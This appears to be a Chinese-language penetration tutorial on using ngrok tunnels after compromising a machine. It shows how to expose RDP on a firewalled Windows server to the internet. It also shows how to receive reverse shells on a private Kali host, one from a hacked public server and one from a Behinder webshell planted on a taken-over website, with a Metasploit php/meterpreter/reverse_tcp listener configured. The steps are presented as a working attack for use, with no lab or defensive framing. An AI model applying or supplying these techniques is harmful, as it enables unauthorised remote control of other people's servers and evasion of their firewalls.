场景1:拿到了一个shell,管理员权限,windows系统,手动开启了3389端口,nmap扫描3389端口为filter,怀疑是防火墙拦截了,经过与度娘多次深入浅出的交流,决定使用ngrock隧道,将该服务器3389端口映射到公网上,然后进行远程登陆。
1,访问ngrok官网http://www.ngrok.cc/注册账号
2,购买这个美国的,免费的,特别容易出问题的免费隧道
3,开通隧道
http/https协议需要有自己的域名,名称随便写,远程端口也随便写,能用就行
最关键的是本地端口:
如果需要把80端口映射到公网,则是IP:80
如果需要把3389端口映射到公网,则是IP:3389
4,确定开通
5,进入隧道管理页面
6,点击进入客户端下载页面,选择合适的客户端进行下载
(我这边的服务器是win64 就下载了win64)
7,将下载好的客户端上传到服务器上,然后运行
8,输入隧道管理页面当中的id号
9,隧道建立成功
10,web页面也提示上线
11,测试:我们把内网的3389端口隧道到了公网,使用公网地址登陆3389
12,登录成功,顺利把内网3389端口通过隧道映射到了公网
场景2:拿下了一台公网服务器,需要反弹一个shell到自己的kali上,但是自己的kali是私有地址,内网
IP,没有办法接收到反弹的shell,这个时候就可以通过,ngrok隧道,将kali映射到公网上,接收反弹的shell。
场景3:拿下了一个公网网站,上传了冰蝎马,利用冰蝎马的反弹shell功能,将shell反弹到自己电脑上的kali虚拟机当中。
ngrok配置如下:
下载linux32位客户端到kali,运行./sunny clientid 隧道id,这样ngrok就与本地处于内网的kali建立起了链接
冰蝎:只需要IP这里添上那个免费的域名即可
kali:安装冰蝎给的提示进行配置,然后点击冰蝎的给我连即可
root@silver:/tmp# msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(multi/handler) > exploit
成功